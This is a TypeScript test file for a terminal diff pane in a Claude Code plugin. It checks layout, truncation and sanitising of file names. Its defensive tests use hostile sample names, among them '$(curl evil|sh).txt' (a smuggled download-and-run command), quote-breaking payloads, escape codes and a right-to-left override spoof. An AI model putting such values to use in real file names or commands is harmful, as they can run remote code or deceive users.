spacehub

surshar / claude-code

Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.

Built by Anthropic · github.com/anthropics

claude-code / mods / diff / tests / views / pane-view.test.ts
536 lines · 15.3 KBRaw
1import { describe, expect, test, tier } from 'claude-code/testing'
2
3import type Git from '../../hooks/git'
4import Limits from '../../hooks/limits'
5import Names from '../../hooks/names'
6import PaneState from '../../hooks/pane-state'
7import Views from '../../hooks/views'
8import Fixtures from '../fixtures'
9
10tier('builtin')
11
12describe('pane-view', () => {
13 const dataOf = (
14 files: readonly Git.FileStat[],
15 overrides: Partial<Git.DiffData> = {},
16 ): Git.DiffData => ({
17 repository: Fixtures.CHECKOUT,
18 mode: 'session',
19 stats: { ...Fixtures.TOTALS, filesCount: files.length },
20 files,
21 source: { kind: 'working-tree', base: 'HEAD' },
22 isUnborn: false,
23 baseRef: 'HEAD',
24 stalePaths: [],
25 isUntrackedWithheld: false,
26 ...overrides,
27 })
28
29 const modelOf = (
30 overrides: Partial<PaneState.PaneModel>,
31 ): PaneState.PaneModel => ({
32 ...PaneState.INITIAL_MODEL,
33 hasSettled: true,
34 ...overrides,
35 })
36
37 const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })]
38
39 test('header, noted rows, the earlier line, the selection', async ($, on) => {
40 const tree = await Fixtures.dockedPane(
41 $,
42 on,
43 modelOf({
44 data: dataOf([
45 Fixtures.rowOf('src/a.ts'),
46 Fixtures.rowOf('img.png', { isBinary: true }),
47 Fixtures.rowOf('notes.txt', {
48 added: 0,
49 removed: 0,
50 isUntracked: true,
51 }),
52 Fixtures.rowOf('test/a.test.ts'),
53 Fixtures.rowOf('old.ts', { isPreSession: true }),
54 ]),
55 body: Fixtures.SMALL_BODY,
56 bodyState: 'ready',
57 }),
58 )
59
60 const text = Fixtures.jsonOf(tree)
61
62 expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true)
63 expect(text).toContain('4 files')
64 expect(text).toContain('Binary file')
65 expect(text).toContain('untracked')
66 expect(text).toContain('1 test/generated (show)')
67 expect(text).not.toContain('test/a.test.ts')
68 expect(text).toContain('+1 file edited before this session (show)')
69 expect(text).toContain('❯ src/a.ts')
70 expect(text).toContain('"type":"Code"')
71 expect(text).toContain('"label":"ask"')
72 })
73
74 test('untracked withheld: the rows stay, the pane says so', async ($, on) => {
75 const draw = Fixtures.docksPane($, on)
76
77 const listed = Fixtures.jsonOf(
78 await draw(
79 modelOf({
80 data: dataOf([Fixtures.rowOf('src/a.ts')], {
81 isUntrackedWithheld: true,
82 }),
83 }),
84 ),
85 )
86
87 const bare = Fixtures.stringsOf(
88 await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })),
89 ).join('')
90
91 expect(listed).toContain('1 file')
92 expect(listed).toContain('❯ src/a.ts')
93 expect(listed).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
94 expect(bare).toContain('No tracked changes')
95 expect(bare).not.toContain('No changes this session')
96 expect(bare).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
97 })
98
99 test('a file at the line cap draws under the tree caps', async ($, on) => {
100 const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) =>
101 at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`,
102 )
103
104 const tree = await Fixtures.dockedPane(
105 $,
106 on,
107 modelOf({
108 data: dataOf([Fixtures.rowOf('src/long.ts')]),
109 body: {
110 hunks: [{ oldStart: 1, newStart: 1, lines }],
111 isTruncated: true,
112 isLarge: false,
113 },
114 bodyState: 'ready',
115 }),
116 )
117
118 expect(
119 Fixtures.isDrawn(tree),
120 'under the node, string and text caps the engine holds a tree to',
121 ).toBe(true)
122
123 expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0)
124
125 expect(Fixtures.jsonOf(tree)).toContain(
126 '… diff truncated (exceeded 400 line limit)',
127 )
128 })
129
130 test("placeholders in the built-in's words", async ($, on) => {
131 const draw = Fixtures.docksPane($, on)
132
133 const untracked = Fixtures.jsonOf(
134 await draw(
135 modelOf({
136 data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]),
137 }),
138 ),
139 )
140
141 expect(untracked).toContain('New file not yet staged.')
142 expect(untracked).not.toContain('"label":"ask"')
143 expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.')
144 expect(untracked).not.toContain("':/")
145
146 expect(
147 Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''),
148 ).toContain("Couldn't read the git diff — it will retry on the next change")
149
150 expect(
151 Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))),
152 ).toContain("isn't in a git repository")
153 })
154
155 test('a picked turn draws its files under the turn title', async ($, on) => {
156 const text = Fixtures.jsonOf(
157 await Fixtures.dockedPane(
158 $,
159 on,
160 modelOf({
161 data: dataOf([]),
162 source: { kind: 'turn', index: 2 },
163 turns: [Fixtures.TURN_TWO],
164 }),
165 ),
166 )
167
168 expect(text).toContain('Turn 2 \\"fix it\\"')
169 expect(text).toContain('/r/a.ts')
170 expect(text).toContain('T2')
171 expect(text).toContain('… diff truncated (exceeded 400 line limit)')
172 })
173
174 test('a body past the char budget is cut, says truncated', async ($, on) => {
175 const lines = Array.from(
176 { length: Limits.MAX_LINES_PER_FILE },
177 (_, at) => `+const value${at} = ${'0'.repeat(Fixtures.LONG_LINE_CHARS)}`,
178 )
179
180 const tree = await Fixtures.dockedPane(
181 $,
182 on,
183 modelOf({
184 data: dataOf([Fixtures.rowOf('src/long-lines.ts')]),
185 body: {
186 hunks: [{ oldStart: 0, newStart: 1, lines }],
187 isTruncated: false,
188 isLarge: false,
189 },
190 bodyState: 'ready',
191 }),
192 )
193
194 expect(Fixtures.codesIn(tree).length).toBeGreaterThan(1)
195 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
196 expect(Fixtures.jsonOf(tree)).toContain('(truncated)')
197
198 expect(Fixtures.jsonOf(tree)).toContain(
199 '… diff truncated (exceeded 400 line limit)',
200 )
201 })
202
203 test('no newline or escape in a name reaches the tree', async ($, on) => {
204 const tree = await Fixtures.dockedPane(
205 $,
206 on,
207 modelOf({
208 data: dataOf([
209 Fixtures.rowOf('evil\nfake.ts +9 -9'),
210 Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }),
211 ]),
212 selectedPath: 'esc\u001bname.ts',
213 body: Fixtures.SMALL_BODY,
214 bodyState: 'ready',
215 }),
216 )
217
218 const text = Fixtures.jsonOf(tree)
219
220 expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe(
221 false,
222 )
223
224 expect(text).not.toContain('\\u001b')
225 expect(text).not.toContain('evil\\nfake')
226 expect(text).toContain('evilfake.ts +9 -9')
227 expect(text).toContain('(renamed from old.ts)')
228 })
229
230 test('a path past the string cap is cut in the header', async ($, on) => {
231 const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts`
232
233 const tree = await Fixtures.dockedPane(
234 $,
235 on,
236 modelOf({
237 data: dataOf([
238 Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }),
239 ]),
240 selectedPath: longPath,
241 body: Fixtures.SMALL_BODY,
242 bodyState: 'ready',
243 }),
244 )
245
246 expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true)
247 expect(Fixtures.jsonOf(tree)).toContain('file.ts')
248 })
249
250 test('a base branch name loses its format characters', async ($, on) => {
251 const draw = Fixtures.docksPane($, on)
252
253 const compared = Fixtures.jsonOf(
254 await draw(
255 modelOf({
256 requestedMode: 'branch',
257 data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED },
258 }),
259 ),
260 )
261
262 const empty = Fixtures.jsonOf(
263 await draw(
264 modelOf({
265 requestedMode: 'branch',
266 data: {
267 ...dataOf([]),
268 ...Fixtures.VS_SPOOFED,
269 stats: Fixtures.NO_STATS,
270 },
271 }),
272 ),
273 )
274
275 expect(compared).toContain('branch vs maniam')
276 expect(empty).toContain('No changes vs maniam')
277 expect(compared + empty).not.toContain('\u202E')
278 })
279
280 test('only a plainly safe name gets a git add to paste', async ($, on) => {
281 const draw = Fixtures.docksPane($, on)
282
283 const untrackedOf = (path: string) =>
284 draw(
285 modelOf({
286 data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]),
287 }),
288 )
289
290 const hintOf = async (path: string) =>
291 Fixtures.stringsOf(await untrackedOf(path)).join('\n')
292
293 const hints: string[] = []
294
295 for (const path of [
296 '$(curl evil|sh).txt',
297 "it's.txt",
298 'x\u2019;payload;\u2019',
299 'a&b.txt',
300 ]) {
301 hints.push(await hintOf(path))
302 }
303
304 const reversed = await untrackedOf('invoice\u202Etxt.exe')
305
306 expect(await hintOf('src/café-2.txt')).toContain(
307 'Run `git add :/src/café-2.txt` to see line counts.',
308 )
309
310 expect(
311 hints.every(
312 hint =>
313 hint.includes('Stage it with git add to see line counts.') &&
314 !hint.includes('Run `git add'),
315 ),
316 ).toBe(true)
317
318 expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain(
319 'Run `git add',
320 )
321
322 expect(Fixtures.jsonOf(reversed)).toContain('"label":"❯ invoicetxt.exe"')
323 expect(Fixtures.jsonOf(reversed)).not.toContain('\u202E')
324 })
325
326 test("docked: the built-in's blank top row, last column", async ($, on) => {
327 const tree = await Fixtures.dockedPane(
328 $,
329 on,
330 modelOf({
331 data: dataOf([Fixtures.rowOf('src/a.ts')]),
332 body: Fixtures.SMALL_BODY,
333 bodyState: 'ready',
334 }),
335 )
336
337 const rule = '─'.repeat(
338 Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS),
339 )
340
341 expect(tree).toMatchObject({
342 type: 'Box',
343 props: {
344 paddingTop: Limits.PANE_TOP_PAD_ROWS,
345 paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS,
346 },
347 })
348
349 expect(Fixtures.stringsOf(tree)).toContain(rule)
350 expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`)
351 })
352
353 test("an empty state on the built-in's row, foot below", async ($, on) => {
354 const [body] = Fixtures.childrenOf(
355 await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })),
356 )
357
358 const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body)
359 const [spacer, headline, controls] = Fixtures.childrenOf(middle)
360 const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2
361
362 expect(body).toMatchObject({
363 props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS },
364 })
365
366 expect(Fixtures.stringsOf(header)).toEqual([])
367 expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
368 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
369 expect(middle).toMatchObject({ props: { alignItems: 'center' } })
370
371 expect(spacer).toMatchObject({
372 type: 'Box',
373 props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle },
374 })
375
376 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
377
378 expect(
379 Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
380 ).toBeDefined()
381
382 expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } })
383
384 expect(Fixtures.jsonOf(foot)).toContain(
385 '"label":"+1 file edited before this session (show)"',
386 )
387
388 expect(more).toEqual([])
389 })
390
391 test('shown files or too few rows stack the empty state', async ($, on) => {
392 let rows = Fixtures.BODY_ROWS
393
394 Fixtures.drawsPane(on, kit =>
395 Views.paneView(
396 { ...kit, rows },
397 modelOf({
398 data: dataOf(EARLIER),
399 isPreSessionShown: rows === Fixtures.BODY_ROWS,
400 }),
401 'dock',
402 ),
403 )
404
405 const shown = await $.ui.render(Fixtures.VIEW_PANE)
406
407 rows = Fixtures.CRAMPED_ROWS
408
409 const cramped = await $.ui.render(Fixtures.VIEW_PANE)
410
411 const [header, pad, headline, controls, earlier, blank, row] =
412 Fixtures.childrenOf(Fixtures.childrenOf(shown)[0])
413
414 expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"')
415 expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"')
416 expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
417 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
418 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
419
420 expect(
421 Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
422 ).toBeDefined()
423
424 expect(Fixtures.jsonOf(earlier)).toContain(
425 '"label":"+1 file edited before this session (hide)"',
426 )
427
428 expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
429 expect(Fixtures.jsonOf(row)).toContain('old.ts')
430 })
431
432 test("shown pre-session rows land on the built-in's rows", async ($, on) => {
433 expect(
434 Fixtures.rowShapesOf(
435 await Fixtures.dockedPane(
436 $,
437 on,
438 modelOf({
439 data: dataOf([
440 Fixtures.rowOf('config.toml', { isPreSession: true }),
441 ]),
442 isPreSessionShown: true,
443 body: Fixtures.SMALL_BODY,
444 bodyState: 'ready',
445 }),
446 ),
447 ).slice(1),
448 ).toEqual([
449 'blank',
450 'No changes this session',
451 'this session',
452 '+1 file edited before this session (hide)',
453 'blank',
454 '❯ config.toml',
455 'rule',
456 'ask',
457 ])
458 })
459
460 test('a blank row sits between the rows and earlier line', async ($, on) => {
461 const draw = Fixtures.docksPane($, on)
462
463 const rowsWith = async (isPreSessionShown: boolean) =>
464 Fixtures.rowShapesOf(
465 await draw(
466 modelOf({
467 data: dataOf([
468 Fixtures.rowOf('src/a.ts'),
469 Fixtures.rowOf('old.ts', { isPreSession: true }),
470 ]),
471 isPreSessionShown,
472 }),
473 ),
474 )
475
476 const hidden = await rowsWith(false)
477 const shown = await rowsWith(true)
478 const hiddenAt = hidden.indexOf('+1 file edited before this session (show)')
479 const shownAt = shown.indexOf('+1 file edited before this session (hide)')
480
481 expect(hidden.slice(hiddenAt - 2, hiddenAt + 1)).toEqual([
482 '❯ src/a.ts',
483 'blank',
484 '+1 file edited before this session (show)',
485 ])
486
487 expect(shown.slice(shownAt, shownAt + 3)).toEqual([
488 '+1 file edited before this session (hide)',
489 'blank',
490 ' old.ts',
491 ])
492 })
493
494 test("the header's ✕ closes the pane in each state", async ($, on) => {
495 let closes = 0
496
497 const draw = Fixtures.docksPane($, on, {
498 actions: {
499 ...Fixtures.noopActionsOf(),
500 close: () => {
501 closes += 1
502 },
503 },
504 })
505
506 const models = [
507 modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }),
508 modelOf({ data: dataOf([]) }),
509 modelOf({
510 data: dataOf([]),
511 source: { kind: 'turn', index: 2 },
512 turns: [Fixtures.TURN_TWO],
513 }),
514 ]
515
516 for (const model of models) {
517 const tree = await draw(model)
518 const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0])
519 const close = Fixtures.childrenOf(header).at(-1)
520
521 expect(close).toMatchObject({ type: 'Box', props: { key: 'close' } })
522
523 expect(
524 Fixtures.elementIn(close, { type: 'Button', name: 'close' }),
525 ).toMatchObject({ props: { label: '✕', plain: true } })
526
527 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
528
529 expect(await $.ui.press({ plugin: 'test', key: 'close' })).toEqual({
530 element: 'close',
531 })
532 }
533
534 expect(closes).toBe(models.length)
535 })
536})